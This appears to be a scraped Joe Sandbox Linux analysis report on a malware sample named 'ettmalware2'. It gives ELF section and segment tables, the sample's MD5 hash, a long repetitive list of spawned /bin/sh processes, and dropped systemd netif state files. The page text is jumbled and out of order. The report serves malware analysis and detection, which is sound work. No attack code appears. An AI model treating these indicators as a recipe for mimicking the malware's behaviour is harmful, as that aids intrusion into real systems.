.bss	NOBITS	0x805a4e0	0x114e0	0x920	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x114e0	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x11380	0x11380	3.8877	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x11384	0x805a384	0x805a384	0x15c	0xa7c	2.3366	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Start time:	14:36:24
Start date:	09/03/2022
Path:	/tmp/ettmalware2
Arguments:	/tmp/ettmalware2
File size:	71344 bytes
MD5 hash:	b847ca92e183dde966bda99cf575f14a

Start time:	14:37:06
Start date:	09/03/2022
Path:	/lib/systemd/systemd
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Start time:	14:37:07
Start date:	09/03/2022
Path:	/lib/systemd/systemd
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Start time:	14:37:08
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:09
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:10
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:11
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:12
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:13
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:14
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:15
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:16
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:17
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:18
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:19
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:20
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ettmalware2

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/run/systemd/netif/.#state0xSb1x

/run/systemd/netif/.#state25R2VE

/run/systemd/netif/.#state2FwHut

/run/systemd/netif/.#state2fhHdG

/run/systemd/netif/.#state5CvosW

/run/systemd/netif/.#state5JJDy5

/run/systemd/netif/.#state5hwsV7

/run/systemd/netif/.#state638Qt3

/run/systemd/netif/.#state69Zkuc

/run/systemd/netif/.#state6NJWh8

/run/systemd/netif/.#state6eKacG

/run/systemd/netif/.#state76MyIv

/run/systemd/netif/.#state794HBu

/run/systemd/netif/.#state83Dajf

/run/systemd/netif/.#state9PK33C

/run/systemd/netif/.#stateA082z8

/run/systemd/netif/.#stateAAw2cO

/run/systemd/netif/.#stateCVHZTD

/run/systemd/netif/.#stateCdEQW8

/run/systemd/netif/.#stateCrq684

/run/systemd/netif/.#stateDlVEhN

/run/systemd/netif/.#stateEqy6Nt

/run/systemd/netif/.#stateF4Vm6S

/run/systemd/netif/.#stateGPXkYK

/run/systemd/netif/.#stateHmxRbb

/run/systemd/netif/.#stateJPZVen

/run/systemd/netif/.#stateM1W0Vy

/run/systemd/netif/.#stateMSaY4G

Linux Analysis Report
ettmalware2

Start time:	14:37:21
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:22
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:23
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:24
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:25
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:26
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:27
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:28
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:29
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Start time:	14:37:30
Start date:	09/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c